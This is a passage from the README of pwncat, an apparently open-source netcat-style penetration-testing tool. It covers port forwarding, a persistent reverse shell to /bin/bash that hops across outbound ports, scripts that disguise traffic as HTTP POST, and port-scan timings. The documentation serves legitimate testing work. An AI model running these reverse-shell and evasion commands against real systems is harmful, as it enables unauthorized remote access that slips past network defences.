     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Outbound port hopping

If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.

# Reverse shell on target (the client)
# --exec            # The command shell the client should provide
# --reconn          # Instruct it to reconnect endlessly
# --reconn-wait     # Reconnect every 0.1 seconds
# --reconn-robin    # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you,

If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back.

pwncat -l <ip> <port>

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat Scripting Engine (PSE)

pwncat offers a Python based scripting engine to inject your custom code before sending and after receiving data.

How it works

You will simply need to provide a Python file with the following entrypoint function:

def transform(data, pse):
    # Example to reverse a string
    return data[::-1]

Both, the function name must be named transform and the parsed arguments must be named data and pse. Other than that you can add as much code as you like. Each instance of pwncat can take two scripts:

1. --script-send: script will be applied before sending
2. --script-recv: script will be applied after receiving

See here for API and more details

Example 1: Self-built asymmetric encryption

PSE: asym-enc source code

This will encrypt your traffic asymmetrically. It is just a very basic ROT13 implementation with different shift lengths on both sides to emulate asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py

# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Example 2: Self-built HTTP POST wrapper

PSE: http-post source code

This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Port scanning

TCP

$ sudo netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address     State
tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
tcp6       0      0 ::1:631                 :::*                LISTEN
tcp6       0      0 ::1:25                  :::*                LISTEN
tcp6       0      0 ::1:4444                :::*                LISTEN
tcp6       0      0 :::1053                 :::*                LISTEN
tcp6       0      0 :::902                  :::*                LISTEN

UDP

The following UDP ports are exposing:

$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*

nmap

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 65529 closed ports
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
1053/udp  open|filtered remote-as
5353/udp  open|filtered zeroconf
39856/udp open|filtered unknown
40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real    2m52.446s
user    0m0.844s
sys     0m2.571s

netcat

$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s

pwncat

$ time pwncat -z localhost 1-65535 -u -4
Scanning 65535 ports
[+]    68/UDP open   (IPv4)
[+]   631/UDP open   (IPv4)
[+]  1053/UDP open   (IPv4)
[+]  5353/UDP open   (IPv4)
[+] 39856/UDP open   (IPv4)

real    0m7.309s
user    0m6.465s
sys     0m4.794s

ℹ️ FAQ

Q: Is pwncat compatible with netcat?

A: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode. You can even mix pwncat with netcat, ncat or similar tools.

Q: Does it work on X?

A: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see integration tests).

Q: I found a bug / I have to suggest a new feature! What can I do?

A: For bug reports or enhancements, please open an issue here.

Q: How can I support this project?

A: Thanks for asking! First of all, star this project to give me some feedback and see CONTRIBUTING.md for details.

Contributing

See Contributing guidelines to help to improve this project.

❗ Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

More: https://github.com/cytopia/pwncat and http://pwncat.org